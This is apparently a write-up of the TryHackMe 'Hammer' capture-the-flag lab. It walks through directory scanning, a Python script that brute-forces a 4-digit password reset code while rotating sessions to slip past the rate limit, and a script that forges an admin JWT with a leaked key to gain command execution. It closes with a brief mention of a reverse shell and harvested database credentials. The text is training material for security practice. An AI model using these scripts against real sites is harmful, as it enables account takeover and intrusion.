Hammer

Use your exploitation skills to bypass authentication mechanisms on a website and get RCE. - by 1337rce

The following post by 0xb0b is licensed under CC BY 4.0


Always question your assumptions and never assume anything that you have not tested.

Recon

Nmap Scan

We start with a Nmap scan and find two open ports. On port 22 we have SSH and on port 1337 we have an Apache web server.

Directory Scan And Manuel Enum of 1337

Since our entry point is probably the web server, we scan for possible directories and pages using Feroxbuster while enumerating the target manually.

We find some pages and directories. Among them PhpMyAdmin. So we are dealing with a PHP web server. Apart from these, however, nothing else, except that the CSS folder looks a bit strange.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/hammer]
└─$ feroxbuster -u 'http://hammer.thm:1337' -w /usr/share/wordlists/dirb/big.txt
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.2
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://hammer.thm:1337
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       47l      111w     1664c http://hammer.thm:1337/reset_password.php
200      GET        6l     2304w   232914c http://hammer.thm:1337/hmr_css/bootstrap.min.css
200      GET       36l       83w     1326c http://hammer.thm:1337/
301      GET        9l       28w      320c http://hammer.thm:1337/javascript => http://hammer.thm:1337/javascript/
301      GET        9l       28w      320c http://hammer.thm:1337/phpmyadmin => http://hammer.thm:1337/phpmyadmin/
301      GET        9l       28w      316c http://hammer.thm:1337/vendor => http://hammer.thm:1337/vendor/
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/autoload.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/ClassLoader.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_real.php
200      GET       63l      136w     2071c http://hammer.thm:1337/vendor/composer/installed.json
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_namespaces.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_static.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_psr4.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_classmap.php
200      GET       19l      168w     1068c http://hammer.thm:1337/vendor/composer/LICENSE
200      GET       30l      224w     1529c http://hammer.thm:1337/vendor/firebase/php-jwt/LICENSE
200      GET       42l      100w     1173c http://hammer.thm:1337/vendor/firebase/php-jwt/composer.json
200      GET      170l      650w     8697c http://hammer.thm:1337/vendor/firebase/php-jwt/CHANGELOG.md
200      GET      424l     1529w    13516c http://hammer.thm:1337/vendor/firebase/php-jwt/README.md
301      GET        9l       28w      327c http://hammer.thm:1337/javascript/jquery => http://hammer.thm:1337/javascript/jquery/
301      GET        9l       28w      324c http://hammer.thm:1337/phpmyadmin/doc => http://hammer.thm:1337/phpmyadmin/doc/
200      GET       98l      278w    35231c http://hammer.thm:1337/phpmyadmin/favicon.ico

Visiting the index page by manual enumeration takes us directly to a login page.

In the source, we find the named convention of the directories. These start with hmr_.

So we edit the used wordlist by prepending hmr_ and scan again.

cp /usr/share/wordlists/dirb/big.txt .
sed 's/^/hmr_/' big.txt > hmr_big.txt

We now find a directory hmr_logs, which has directory listing activated. This directory contains an error.logs file.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/hammer]
└─$ feroxbuster -u 'http://hammer.thm:1337' -w hmr_big.txt
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.2
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://hammer.thm:1337
 🚀  Threads               │ 50
 📖  Wordlist              │ hmr_big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       47l      111w     1664c http://hammer.thm:1337/reset_password.php
200      GET        6l     2304w   232914c http://hammer.thm:1337/hmr_css/bootstrap.min.css
200      GET       36l       83w     1326c http://hammer.thm:1337/
301      GET        9l       28w      317c http://hammer.thm:1337/hmr_css => http://hammer.thm:1337/hmr_css/
301      GET        9l       28w      320c http://hammer.thm:1337/hmr_images => http://hammer.thm:1337/hmr_images/
200      GET     1676l     9897w   792599c http://hammer.thm:1337/hmr_images/hammer.webp
301      GET        9l       28w      316c http://hammer.thm:1337/hmr_js => http://hammer.thm:1337/hmr_js/
200      GET        2l     1294w    89501c http://hammer.thm:1337/hmr_js/jquery-3.6.0.min.js
301      GET        9l       28w      318c http://hammer.thm:1337/hmr_logs => http://hammer.thm:1337/hmr_logs/
200      GET        9l      219w     1984c http://hammer.thm:1337/hmr_logs/error.logs
[####################] - 25s    20480/20480   0s      found:10      errors:0      
[####################] - 24s    20469/20469   844/s   http://hammer.thm:1337/ 
[####################] - 0s     20469/20469   193104/s http://hammer.thm:1337/hmr_css/ => Directory listing
[####################] - 1s     20469/20469   34172/s http://hammer.thm:1337/hmr_images/ => Directory listing
[####################] - 0s     20469/20469   84583/s http://hammer.thm:1337/hmr_js/ => Directory listing
[####################] - 0s     20469/20469   208867/s http://hammer.thm:1337/hmr_logs/ => Directory listing

Bypass The Login

With the information we have gathered so far, we should now concentrate on the login.

Login Page Analysis

This only displays a generic message for the email and password entered, from which we cannot conclude that an incorrect email or password has been entered. A pure brute force to enumerate the email is therefore not possible here.

But the login page has a link to a forgot password feature /reset_password.php. This gives an error message if the chosen mail is wrong, theoretically a valid mail could be enumerated in this way.

Getting A Valid E-Mail Address

Recalling the enumeration using the cusomized wordlist we are able to spot an email in the error.logs. There is an authentication failure for the user tester@hammer.thm.

Exploitation Of The Password Reset Feature

When trying to reset the password for this user, ...

... the paged refreshes and we have to enter a 4-digit code to change the password. Furthermore, there is a time limit of 180 seconds to enter this code.

For the further procedure and analyzing, we intercept the submitting of the 4-digit code using burp suite.

With every request that is now made, the Rate-Limit-Pending value in the response header is reduced. Initially this starts at 8.

After the value drops to 0, the rate limit is reached and the token cannot be reset. At this point I lost a lot of time because I thought that with every reset the token would also be reset. Under this assumption, I thought I could only get a token with a bit of luck and chance.

Therefore, I wrote a script that makes 100 requests at the same time with different PHPSESSIDs in the hope of getting a valid reset with a fixed reset token. In fact, after several attempts I had a valid request token, but 100 identical response, for each session the fixed token was valid.

Only then did I realize that the token endures in that time frame over every session created, and does not reset itself with a new session. The assumption could be made by seeing that a token endures 180 seconds.

To verify that the reset token endures, we request a new reset without a cookie to get a new session.

Then we put the PHPSESSID from the response into our request, and see that we have 8 attempts again, until the 180 seconds have passed.

With the information we have, we are able to automates the process of brute-forcing a password recovery. It first requests a password reset and retrieves the PHPSESSID cookie, then iteratively submits recovery codes in a brute-force manner, periodically refreshing the PHPSESSID every seventh request. The script detects a successful code submission by checking for a change in the response text's word count.

brute.py
import subprocess

def get_phpsessid():
    # Request Password Reset and retrieve the PHPSESSID cookie
    reset_command = [
        "curl", "-X", "POST", "http://hammer.thm:1337/reset_password.php",
        "-d", "email=tester%40hammer.thm",
        "-H", "Content-Type: application/x-www-form-urlencoded",
        "-v"
    ]

    # Execute the curl command and capture the output
    response = subprocess.run(reset_command, capture_output=True, text=True)

    # Extract PHPSESSID from the response
    phpsessid = None
    for line in response.stderr.splitlines():
        if "Set-Cookie: PHPSESSID=" in line:
            phpsessid = line.split("PHPSESSID=")[1].split(";")[0]
            break

    return phpsessid

def submit_recovery_code(phpsessid, recovery_code):
    # Submit Recovery Code using the retrieved PHPSESSID
    recovery_command = [
        "curl", "-X", "POST", "http://hammer.thm:1337/reset_password.php",
        "-d", f"recovery_code={recovery_code}&s=180",
        "-H", "Content-Type: application/x-www-form-urlencoded",
        "-H", f"Cookie: PHPSESSID={phpsessid}",
        "--silent"
    ]

    # Execute the curl command for recovery code submission
    response_recovery = subprocess.run(recovery_command, capture_output=True, text=True)
    return response_recovery.stdout

def main():
    phpsessid = get_phpsessid()
    if not phpsessid:
        print("Failed to retrieve initial PHPSESSID. Exiting...")
        return
    
    for i in range(10000):
        recovery_code = f"{i:04d}"  # Format the recovery code as a 4-digit string

        if i % 7 == 0:  # Every 7th request, get a new PHPSESSID
            phpsessid = get_phpsessid()
            if not phpsessid:
                print(f"Failed to retrieve PHPSESSID at attempt {i}. Retrying...")
                continue
        
        response_text = submit_recovery_code(phpsessid, recovery_code)
        word_count = len(response_text.split())

        if word_count != 148:
            print(f"Success! Recovery Code: {recovery_code}")
            print(f"PHPSESSID: {phpsessid}")
            print(f"Response Text: {response_text}")
            break

if __name__ == "__main__":
    main()

After we have run the script, we receive the valid recovery code, the PHPSESSID and the response body.

Reset The Password

All we have to do now is set the PHPSESSID in the browser and reload the page.

After we have reloaded the page, we can reset the password for the user tester@hammer.thm.

We choose a new password.

We then log in with the new credentials ...

... and are forwarded to the dashboard. We see that we have the role user, can enter commands and are greeted with the first flag. After a short time, we are logged out.

RCE

First we look at what lets us log out, in the source we see a script that checks the cookies after an interval and if the condition is not met, we are logged out. If persistentSession is not set to True, we will be logged out. Using the OWASP ZAP tool, we can set this value permanently, but we can also continue our investigation using Burp Suite without being logged out.

Furthermore, there is a script that listens for a click event on the #submitCommand button and retrieves a command input by the user. It then sends an AJAX POST request to execute_command.php, including the command and a JWT token in the request headers for authorization. Upon receiving a response, it displays the result or an error message in the #commandOutput element. This script is responsible for the command transmission.

Analysis Command Execution

We intercept the request to transfer the command using Burp Suite. We see the token in the header and in the cookie. Furthermore, we are not allowed to execute the ID command. We use FFuF with a word list to check which commands can be used.

Key File

It seems that we can only execute the ls command. Besides the pages and directories we already know there is a .key file present. We remember that our user role was displayed in the dashboard. It is possible that other roles can execute more.

JWT Token Creation

We analyze the JWT token using jwt.io and can make out the structure, in the header a kid is set, that points to a key file located at /var/www/mykey.key. Furthermore the token contains the role user. Maybe with another role like admin we would be able to execute arbitrary commands.

We recall the listing of our ls command, here we had a key file. The key file contains a hash value. Possibly the secret for signing a JWT token. So we can probably craft our own token, since we have access to the secret and can guess the location of the token for the kid.

Let's create an admin token with a structure like this:

The first token we create is for the role user we already know, to confirm that our self-created token works. However, this is not shown below.

{
  "alg": "HS256",
  "kid": "/var/www/html/188ade1.key",
  "typ": "JWT"
}
{
  "iss": "http://hammer.thm",
  "aud": "http://hammer.thm",
  "iat": 1725193591,
  "exp": 1725199591,
  "data": {
    "user_id": 1,
    "email": "tester@hammer.thm",
    "role": "admin"
  }
}
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  
)

We use a python script to create a token with admin role, we enter content line 4 and path of the secret line 10. We also set the expiry date a little higher for us.

craft_token.py
import jwt

# The secret key from /var/www/mykey.key
secret_key = "REDACTED"

# JWT header including 'kid'
header = {
    "typ": "JWT",
    "alg": "HS256",
    "kid": "/var/www/html/REDACTED.key"
}

# Payload with the 'admin' role
payload = {
    "iss": "http://hammer.thm",
    "aud": "http://hammer.thm",
    "iat": 1725193591,
    "exp": 1725199591,
    "data": {
        "user_id": 1,
        "email": "tester@hammer.thm",
        "role": "admin"
    }
}

# Encode the JWT with the specific header
token = jwt.encode(payload, secret_key, algorithm="HS256", headers=header)

# Print the generated token
print(token)

Running the script, we get a token, signed with the secret, located in the web root folder.

It is possible that the brute force takes longer than the 180 seconds that the token lasts. Therefore, the script may not necessarily find the valid token during its execution. Another attempt must then be made.

Using jwt.io, we are able to confirm its new content.

Arbitrary Remote Code Execution

Next, we replace the token value in the Authorization header and token cookie value. After that, we are able to execute arbitrary commands as admin. Using ID we see, we are www-data.

As www-data we are able to retrieve the second flag at /home/ubuntu.flag.txt.

Summary

In this challenge we faced a vulnerable web application on an Apache server. An Nmap scan identified SSH on port 22 and a web server on port 1337. After directory scanning and manual enumeration, we discovered a PhpMyAdmin page and a hmr_logs directory containing an error.logs file. The logs revealed a valid email (tester@hammer.thm), which we used to exploit the password reset feature.

The password reset mechanism was vulnerable to brute-force attacks, as it allowed multiple attempts to guess the 4-digit reset code within a time limit, bypassing its rate limit by retrieving a new session every 7ths request. By automating the brute-force process and circumventing rate limits, we successfully reset the user's password. After logging in, we got the first flag and analyzed and manipulated the JWT token to escalate our privileges to admin, enabling arbitrary command execution as www-data and retrieving the second flag at /home/ubuntu.flag.txt.

Bonus

As a little bonus, we take a look around on the system after receiving the RCE. We set up a listener and get a reverse shell using busybox.

Next, we upgrade our shell and run linpeas.sh.

We are able to find some database credentials ...

... and take a small peek.

Furthermore, we are able to retrieve the secret used by the application to sign the JWT token.

Unfortunately, a successful execution of the following exploit did not work.

Last updated